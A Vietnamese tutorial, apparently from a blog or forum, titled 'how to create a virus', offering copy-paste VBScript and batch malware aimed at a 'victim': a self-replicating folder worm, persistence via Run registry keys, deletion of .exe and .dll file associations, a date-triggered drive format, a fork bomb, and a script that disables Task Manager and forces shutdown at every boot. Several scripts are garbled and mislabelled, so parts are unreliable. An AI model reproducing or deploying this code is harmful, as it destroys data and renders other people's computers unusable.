Cách tạo virus

while true
wend

lưu với đuôi .vbs

Đây mới chỉ là virus, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì thôi rồi, chỉ có cài lại win.

Loại virus mình giới thiệu sau đây có tác dụng làm quá tải RAM của máy tính ,máy tính nạn nhân chỉ có một màu đen,khởi động lại cũng không ăn thua ,cách làm như sau :mở notepad lên và chép dòng mã lệnh dưới vào:

On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop

Lưu với đuôi .bat

Loại virus có khả năng mỗi khi bấm sẽ tạo ra một thư mục và làm cho máy tính nạn nhân tràn ngập virus,mở notepad lên và chép đoạn mã bên dưới vào :

'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

Lưu với đuôi .vbs

Sau đây là đoạn code để giải virus thuốc độc ở trên ,mở notepad lên chép code sau vào:

'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Lưu với tên .vbs

Con virus sau có khả năng xóa key file của máy tính nạn nhân và đây là một trong số mấy con nguy hiểm nhất ở đây,mở notepad lên gõ lệnh sau:

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

Lưu với đuôi.bat

Bomb virus ,chép code vào notepad như sau :

If %date% NEQ 2009/11/25 goto exit
format E: /y >nul
:exit
exit

Lưu với đuôi.bat

Làm loạn nút Caps Lock ,chép code sau vào:

Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Lưu với đuôi.bat

Virus làm ngưng hệ thống máy tính ,chép code sau vào notepad:

@echo off

start calc

tskill msnmsgr

tskill firefox

tskill iexplore

tskill LimreWire

tskill explorer

tskill explorer

tskill explorer

tskill explorer

tskill explorer

pause

Lưu với đuôi.bat

Con virus dưới đây vô cùng đơn giản nhưng gây hại cũng khá ,nó sẽ tạo ra liên tục các bản cmd làm ngưng hoạt động của máy tính nạn nhân ,buộc nạn nhân phải tắt máy nhưng một đều rằng khó mà có thể tắt máy trừ khi cúp cầu dao thôi ,mỏ notepad lên chép đoạn mã dưới vào:

start 111.cmd

Lưu với đuôi.cmd

Con virus dưới đây vô cùng khủng khiếp khi nạn nhân click bất kì thứ gì thì 5 giây sau máy sẽ tự động tắt ,không những như vậy khi mở máy lại cũng 5 giây tự tắt ,mở notepad và chép đoạn mã sau vào:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f

cls

copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"

cls

taskkill /f /im explorer.exe

cls

shutdown.exe -f -s -t 05 -c "your computer will turn off after 5s ..."

cls

@echo off

echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!

echo GOOD BYE 

pause

del Mr.Boss.bat

Lưu với đuôi .bat

Nếu bạn cho chạy kèm với con này thì khả năng của nó là vô đối và hầu như là bất diệt,đoạn mã sau :

eg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shutdown /t REG_SZ /d "shutdown.exe -f -s -t 05" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskmgr /t REG_DWORD /d 1 /f

cls

copy thelove.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\"

cls

taskkill /f /im explorer.exe

cls

@echo off

echo Warning!!!!!!!!May Tinh Cua Ban Da Bi Nhiem Virus Bat Diet !!!!!!!!!

echo GOOD BYE SEE YOU AGAIN

pause

del Mr.Boss.bat

Lưu với đuôi .bat